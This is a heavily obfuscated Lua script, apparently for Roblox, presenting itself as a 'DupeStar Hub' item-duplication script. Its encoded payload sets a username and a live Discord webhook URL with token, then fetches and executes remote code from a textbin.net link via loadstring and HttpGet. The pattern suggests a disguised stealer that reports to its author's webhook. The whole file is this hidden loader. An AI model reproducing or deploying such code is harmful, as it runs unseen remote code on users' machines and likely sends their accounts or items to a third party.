--[[ .____ ________ ___. _____ __ | | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________ | | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \ | |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/ |_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__| \/ \/ \/ \/ \/ \/ \/ \_Welcome to LuaObfuscator.com (Alpha 0.2.5) ~ Much Love, Ferib ]]-- do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=0;local v19;local v20;local v21;local v22;local v23;local v24;local v25;local v26;local v27;local v28;local v29;local v30;while true do if (v18==3) then v25=function()local v39=0 -0 ;local v40;local v41;local v42;local v43;local v44;local v45;while true do if (v39==(1089 -(412 + 675))) then v44=v21(v41,21,(202 -(89 + 60)) -22 );v45=((v21(v41,15 + 17 )==1) and -(1 + 0)) or (514 -((150 -65) + 428)) ;v39=3 + (0 -0) ;end if (v39==3) then if (v44==(93 -(49 + 44))) then if (v43==(0 + (0 -0))) then return v45 * (1130 -(445 + 685)) ;else v44=1146 -(661 + 484) ;v42=0 -0 ;end elseif (v44==(4914 -2867)) then return ((v43==(320 -(72 + 248))) and (v45 * (1/((2008 -(121 + 398)) -(112 + 309 + 1068))))) or (v45 * NaN) ;end return v8(v45,v44-(4305 -3282) ) * (v42 + (v43/((3 -1)^((358 -204) -102)))) ;end if ((865 -(345 + 519))==v39) then v42=1 + 0 ;v43=(v21(v41,1 + 0 ,32 -(4 + 8) ) * (((374 + 372) -(466 + (527 -(37 + 212))))^32)) + v40 ;v39=3 -(1147 -(349 + 797)) ;end if ((0 -0)==v39) then v40=v24();v41=v24();v39=1 -0 ;end end end;v26=nil;v26=function(v31)local v46;if not v31 then v31=v24();if (v31==(1458 -(1449 + 9))) then return "";end end v46=v3(v16,v19,(v19 + v31) -(1 + 0) );v19=v19 + v31 ;local v47={};for v67=1986 -(385 + 1600) , #v46 do v47[v67]=v2(v1(v3(v46,v67,v67)));end return v6(v47);end;v27=v24;v18=4;end if (v18==2) then v23=function()local v48=0;local v49;local v50;while true do if (v48==1) then return (v50 * (1581 -((2760 -1760) + 325))) + v49 ;end if (v48==(294 -(213 + (171 -90)))) then v49,v50=v1(v16,v19,v19 + (330 -(52 + 33 + 243)) );v19=v19 + (1738 -(607 + 1129)) ;v48=1652 -(1425 + 226) ;end end end;v24=nil;v24=function()local v51,v52,v53,v54=v1(v16,v19,v19 + 3 + 0 );v19=v19 + (157 -(10 + 143)) ;return (v54 * (16778957 -(299 + 1442))) + (v53 * (66655 -((702 -447) + 864))) + (v52 * (2053 -(1531 + 266))) + v51 ;end;v25=nil;v18=3;end if (v18==0) then v19=1;v20=nil;v16=v4(v3(v16,5),"..",function(v32)if (v1(v32,2)==79) then local v69=0;while true do if (0==v69) then v20=v0(v3(v32,1,1));return "";end end else local v70=v2(v0(v32,16));if v20 then local v79=0;local v80;while true do if (v79==0) then v80=v5(v70,v20);v20=nil;v79=1;end if (v79==1) then return v80;end end else return v70;end end end);v21=nil;v18=1;end if (v18==1) then v21=function(v33,v34,v35)if v35 then local v71=(v33/((5 -3)^(v34-1)))%(((344 + 279) -(304 + 317))^(((v35-(1801 -(311 + 67 + 1275 + 147))) -(v34-((1 + 1) -1))) + 1 + 0)) ;return v71-(v71%1) ;else local v72=0;local v73;while true do if (v72==0) then v73=(1919 -(412 + 1505))^(v34-((1 -0) + 0)) ;return (((v33%(v73 + v73))>=v73) and (1045 -(923 + 121))) or (0 -0) ;end end end end;v22=nil;v22=function()local v55=v1(v16,v19,v19);v19=v19 + 1 ;return v55;end;v23=nil;v18=2;end if (v18==5) then v30=nil;v30=function(v36,v37,v38)local v56=0;local v57;local v58;local v59;while true do if (1==v56) then v59=v36[3];return function(...)local v81=1;local v82= -1;local v83={...};local v84=v12("#",...) -1 ;local function v85()local v94=v57;local v95=v58;local v96=v59;local v97=v28;local v98={};local v99={};local v100={};for v104=0 + 0 + 0 ,v84 do if (((3862 + (1471 -(516 + 309)))>=(3328 -(881 + 614))) and (v104>=v96)) then v98[v104-v96 ]=v83[v104 + ((1694 -(182 + 1511)) -0) ];else v100[v104]=v83[v104 + 1 + 0 ];end end local v101=(v84-v96) + 1 + 0 ;local v102;local v103;while true do local v105=0 + 0 ;local v106;while true do if ((v105==(0 -0)) or ((13622 -8691)<=((572 + 147) -(1449 -(816 + 200))))) then v106=519 -(290 + 229) ;while true do if ((v106==(3 -2)) or ((3620 -(165 + 1053))>2944)) then if (((60 + (32 -11))<=(5851 -4174)) and (v103<=(5 + 0))) then if ((v103<=(1 + 1)) or ((16269 -11600)<=(3809 -((1736 -(355 + 427)) + 766)))) then if ((v103<=((5316 -3347) -(952 + 1017))) or ((2108 -(1032 + 215))>=(2219 + 261))) then v100[v102[2 + (0 -0) ]]=v38[v102[6 -3 ]];elseif (((10132 -5390)>=(4077 -(49 + 567))) and (v103==1)) then v100[v102[5 -3 ]][v102[1963 -(526 + 1434) ]]=v102[2 + 2 ];else local v141=0 + 0 ;local v142;local v143;while true do if ((v141==(843 -(33 + 809))) or ((1812 -(1445 + 304))>(1047 -(1744 -1138)))) then while true do if ((v142==0) or (1044<(908 -(204 + 32 + 375)))) then v143=v102[2 + 0 ];v100[v143]=v100[v143](v13(v100,v143 + (2 -1) ,v82));break;end end break;end if ((v141==0) or (1390>=(4173 -(912 + (989 -501))))) then local v169=0 -0 ;while true do if ((v169==(0 -0)) or ((4286 -1298)>(4731 -(641 + 274)))) then v142=118 -(47 + 71) ;v143=nil;v169=1 + 0 ;end if (((89 + 54)<(633 + 1185)) and ((1802 -(1386 + 415))==v169)) then v141=(1666 -(316 + 713)) -(48 + 588) ;break;end end end end end elseif ((v103<=(1076 -(375 + 698))) or ((1121 + 119)<(248 + (523 -234)))) then do return;end elseif ((v103==(1462 -(823 + 635))) or ((3087 -(535 + 62))>2577)) then local v144=0;local v145;local v146;local v147;while true do if ((v144==(0 -0)) or (((2038 -(432 + 1344)) -148)>=(3889 -(312 + 337)))) then v145=(305 -116) -(37 + 152) ;v146=nil;v144=(883 -(662 + 220)) + 0 ;end if ((v144==(1589 -(1205 + 383))) or ((610 + 561)==(5737 -(1845 + 139)))) then v147=nil;while true do if (((5013 -(199 + (109 -61)))==(6100 -(486 + 848))) and (v145==(1 + 0))) then v100[v146 + (661 -(14 + 66 + 580)) ]=v147;v100[v146]=v147[v102[4]];break;end if (((216 + 142)==(906 -(454 + 94))) and (v145==(1302 -(521 + 781)))) then local v178=0;while true do if (((11 + 1)<=(8789 -5407)) and (v178==1)) then v145=1;break;end if ((v178==(0 -0)) or ((4880 -(260 + 666))>(4065 + 391))) then v146=v102[7 -5 ];v147=v100[v102[3]];v178=1 + 0 ;end end end end break;end end else for v156=v102[7 -5 ],v102[3 + 0 ] do v100[v156]=nil;end end elseif ((v103<=(571 -(305 + 258))) or ((4428 -(283 + 126))<(4480 -2382))) then if (((2433 -(219 + 878))<=(7364 -4401)) and (v103<=(12 -6))) then v81=v102[(4 + 2) -(7 -4) ];elseif ((v103>(19 -12)) or ((1759 -(1747 -899))<(116 + 171))) then v100[v102[8 -(13 -7) ]]=v102[2 + 1 ];elseif ((v102[1 + 1 ]==v100[v102[879 -(578 + 297) ]]) or ((17443 -13058)<(483 + 1491))) then v81=v81 + (1146 -(685 + 460)) ;else v81=v102[1343 -(644 + 696) ];end elseif (((2634 -(639 + 1003))<(6371 -(1323 + 269))) and (v103<=(8 + 1))) then v100[v102[1 + 1 ]]();elseif (((6740 -4311)>=(2855 -(186 + 733))) and (v103>(27 -17))) then if ((v100[v102[490 -(459 + 29) ]]==v102[4 + 0 ]) or (1995>=4786)) then v81=v81 + 1 + 0 + 0 ;else v81=v102[1293 -(4 + 1173 + 113) ];end else local v150=0;local v151;local v152;local v153;local v154;local v155;while true do if ((v150==(1 + 0)) or (1843>(7542 -3114))) then v153=nil;v154=nil;v150=2;end if ((3633>=(232 + 3295)) and (v150==2)) then v155=nil;while true do if (((121 + 1358)<=((18190 -12337) -3993)) and (v151==(0 -0))) then local v179=(295 -(109 + 186)) + 0 ;while true do if ((v179==(2 -1)) or ((82 + 10)>=(1799 -1193))) then v151=2 -(1944 -(1386 + 557)) ;break;end if ((4153>(2327 -(2199 -785))) and (v179==(1857 -(685 + 1172)))) then v152=v102[2];v153,v154=v97(v100[v152](v13(v100,v152 + (1737 -(611 + 1125)) ,v102[11 -8 ])));v179=2 -1 ;end end end if ((v151==1) or (341>4938)) then local v180=(40 + 570) -(418 + (456 -264)) ;while true do if ((0==v180) or ((694 + 1900 + 246 + 635)>=(3379 + 1387))) then v82=(v154 + v152) -(1 + 0) ;v155=0 + (0 -0) ;v180=808 -(42 + 765) ;end if ((v180==(1 -0)) or (2712<(1576 -340))) then v151=1 + 0 + 1 ;break;end end end if ((v151==(1304 -(589 + 713))) or (4297<=570)) then for v181=v152,v82 do local v182=0 + 0 ;local v183;while true do if ((v182==(0 -0)) or ((655 + 263)<=(76 + 38))) then v183=0;while true do if ((0==v183) or ((1831 -(409 + 618))<(2029 -(11 + 1528)))) then v155=v155 + (1044 -((896 -(225 + 502)) + (2489 -(1377 + 238)))) ;v100[v181]=v153[v155];break;end end break;end end end break;end end break;end if ((v150==(0 -(0 + 0))) or (314==(3709 -(668 + 440)))) then v151=0;v152=nil;v150=1;end end end v81=v81 + 1 ;break;end if ((v106==(0 -0)) or (4625<=(3688 -1985))) then local v121=(2226 -(64 + 599)) -(789 + 774) ;while true do if ((2541>=(839 -(426 + 279))) and (v121==(0 + 0))) then v102=v94[v81];v103=v102[1];v121=1 + 0 ;end if (((3437 + 439)==3876) and (v121==1)) then v106=(935 -(803 + 131)) + 0 ;break;end end end end break;end end end end A,B=v28(v11(v85));if not A[1] then local v107=v36[4][v81] or "?" ;error("Script error at [" .. v107 .. "]:" .. A[2] );else return v13(A,2,B);end end;end if (v56==0) then v57=v36[1];v58=v36[2];v56=1;end end end;return v30(v29(),{},v17)(...);end if (v18==4) then v28=nil;v28=function(...)return {...},v12("#",...);end;v29=nil;v29=function()local v60=0;local v61;local v62;local v63;local v64;local v65;local v66;while true do if (v60==2) then for v86=1 + 0 ,v24() do local v87=0 + 0 ;local v88;local v89;while true do if (v87==0) then local v109=0 -0 ;while true do if (v109==0) then v88=0 + 0 ;v89=nil;v109=4 -3 ;end if (v109==(606 -(205 + 400))) then v87=1 + 0 ;break;end end end if (1~=v87) then else while true do if (0~=v88) then else v89=v22();if (v21(v89,1,1 + 0 )==0) then local v122=0;local v123;local v124;local v125;local v126;local v127;while true do if (1~=v122) then else v125=nil;v126=nil;v122=2;end if (v122~=(1 + 1)) then else v127=nil;while true do if (v123==1) then local v136=0;local v137;while true do if (v136==(0 -0)) then v137=0;while true do if (v137~=(0 -0)) then else local v172=0;while true do if (v172==(1635 -(831 + 804))) then v126=nil;v127=nil;v172=231 -(102 + 128) ;end if ((1 + 0)==v172) then v137=833 -(823 + 9) ;break;end end end if (v137==1) then v123=2;break;end end break;end end end if (v123==2) then while true do if (v124==1) then local v158=0 -0 ;local v159;local v160;while true do if (v158==0) then v159=0;v160=nil;v158=1604 -(420 + 1183) ;end if (v158==1) then while true do if (v159==0) then v160=0 + 0 ;while true do if (v160==(382 -(326 + 56))) then v127={v23(),v23(),nil,nil};if (v125==0) then local v190=901 -(242 + 659) ;local v191;local v192;while true do if (v190==0) then v191=1600 -(1437 + 163) ;v192=nil;v190=1;end if (v190==(1762 -(1316 + 445))) then while true do if (v191==(1577 -(595 + 982))) then v192=0;while true do if (v192~=(0 + 0)) then else v127[683 -(302 + 378) ]=v23();v127[4]=v23();break;end end break;end end break;end end elseif (v125==1) then v127[8 -5 ]=v24();elseif (v125==(1126 -(117 + 1007))) then v127[3 -0 ]=v24() -(2^(9 + 7)) ;elseif (v125~=(1505 -(598 + 904))) then else local v201=0;local v202;while true do if (v201~=(389 -(78 + 311))) then else v202=0;while true do if (v202~=(0 -0)) then else v127[2 + 1 ]=v24() -(2^(1 + 15)) ;v127[8 -4 ]=v23();break;end end break;end end end v160=1;end if (v160==(1 -0)) then v124=2;break;end end break;end end break;end end end if (2==v124) then local v161=0;local v162;while true do if (v161==0) then v162=0;while true do if (v162==0) then local v184=0;while true do if (v184==0) then local v189=0;while true do if (v189==0) then if (v21(v126,2 -1 ,1 + 0 )==1) then v127[1 + 1 ]=v66[v127[419 -(378 + 39) ]];end if (v21(v126,2,2)==1) then v127[1 + 2 ]=v66[v127[3]];end v189=1 + 0 ;end if (v189==1) then v184=1681 -(1670 + 10) ;break;end end end if (v184~=1) then else v162=1 + 0 ;break;end end end if (v162~=(1 -0)) then else v124=2 + 1 ;break;end end break;end end end if (v124~=(1636 -(1456 + 177))) then else if (v21(v126,3,3)~=(1 -0)) then else v127[3 + 1 ]=v66[v127[4]];end v61[v86]=v127;break;end if (v124~=(0 -0)) then else local v164=0 + 0 ;local v165;while true do if (v164~=(780 -(449 + 331))) then else v165=0 -0 ;while true do if (v165==1) then v124=1;break;end if (v165~=(0 + 0)) then else local v185=0;while true do if (v185==1) then v165=1;break;end if (v185==0) then v125=v21(v89,1387 -(816 + 569) ,3);v126=v21(v89,4,8 -2 );v185=1 + 0 ;end end end end break;end end end end break;end if (v123==(156 -(65 + 91))) then local v138=0 -0 ;while true do if (v138==(1 -0)) then v123=1;break;end if (v138==0) then v124=0;v125=nil;v138=510 -(162 + 347) ;end end end end break;end if (v122==0) then v123=0 + 0 ;v124=nil;v122=3 -2 ;end end end break;end end break;end end end for v90=1 + 0 ,v24() do v62[v90-1 ]=v29();end for v92=1 + 0 ,v24() do v63[v92]=v24();end return v64;end if (v60~=0) then else local v77=0;while true do if (v77~=(1 + 0)) then else v63={};v64={v61,v62,nil,v63};v77=97 -(84 + 11) ;end if (v77==0) then v61={};v62={};v77=1;end if (v77==(145 -(114 + 29))) then v60=1;break;end end end if (v60~=(876 -(541 + 334))) then else local v78=0 -0 ;while true do if (v78~=(1291 -(985 + 304))) then else v60=2;break;end if (v78==(0 -0)) then v65=v24();v66={};v78=1;end if (v78==1) then for v110=1808 -(1411 + 396) ,v65 do local v111=0 -0 ;local v112;local v113;local v114;local v115;while true do if (v111==2) then while true do if (v112==0) then v113=0 -0 ;v114=nil;v112=1 -0 ;end if (1==v112) then v115=nil;while true do if (v113==(1 -0)) then if (v114==1) then v115=v22()~=0 ;elseif (v114==2) then v115=v25();elseif (v114~=(1770 -(55 + 1712))) then else v115=v26();end v66[v110]=v115;break;end if (v113~=0) then else local v131=0 -0 ;local v132;while true do if (v131==0) then v132=0;while true do if ((1070 -(987 + 82))==v132) then v113=1;break;end if (v132==0) then local v168=0;while true do if (v168==(0 -0)) then v114=v22();v115=nil;v168=880 -(137 + 742) ;end if (v168~=(1764 -(399 + 1364))) then else v132=1;break;end end end end break;end end end end break;end end break;end if (v111==1) then local v120=0 -0 ;while true do if ((2 -1)~=v120) then else v111=2;break;end if (v120~=0) then else v114=nil;v115=nil;v120=786 -(50 + 735) ;end end end if (v111==0) then v112=0 -0 ;v113=nil;v111=1 + 0 ;end end end v64[2 + 1 ]=v22();v78=4 -2 ;end end end end end;v18=5;end end end v15("LOL!0D3O00028O0003023O005F4703083O00557365726E616D6503103O0067616D696E67736B752O6C3132333436030A3O005363726970744E616D65030C3O00447570655374617220487562026O00F03F03073O00576562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F313038363731343035382O353738392O3836322F79554A50765F5A546B743754646D6239754A73415A7062312O2D612O68394A665565617A6F7A5257354639627744582D6F4E6854706335332D6C45726238634F42594D58030A3O006C6F6164737472696E6703043O0067616D6503073O00482O747047657403223O00682O7470733A2O2F7465787462696E2E6E65742F7261772F6C6F6B6D74717A6E756F00243O0012083O00014O0005000100013O000E070001000200013O0004063O00020001001208000100013O00260B00010014000100010004063O00140001001208000200013O00260B0002000F000100010004063O000F000100122O000300023O00300100030003000400122O000300023O003001000300050006001208000200073O00260B00020008000100070004063O00080001001208000100073O0004063O001400010004063O0008000100260B00010005000100070004063O0005000100122O000200023O00300100020008000900122O0002000A3O00122O0003000B3O00200400030003000C0012080005000D4O000A000300054O000200023O00022O00090002000100010004063O002300010004063O000500010004063O002300010004063O000200012O00033O00017O00243O00023O00033O00053O00053O00063O00083O00083O00093O000B3O000B3O000C3O000C3O000D3O000D3O000E3O00103O00103O00113O00123O00133O00163O00163O00173O00173O00183O00183O00183O00183O00183O00183O00183O00193O001A3O001C3O001D3O001F3O00",v9(),...);end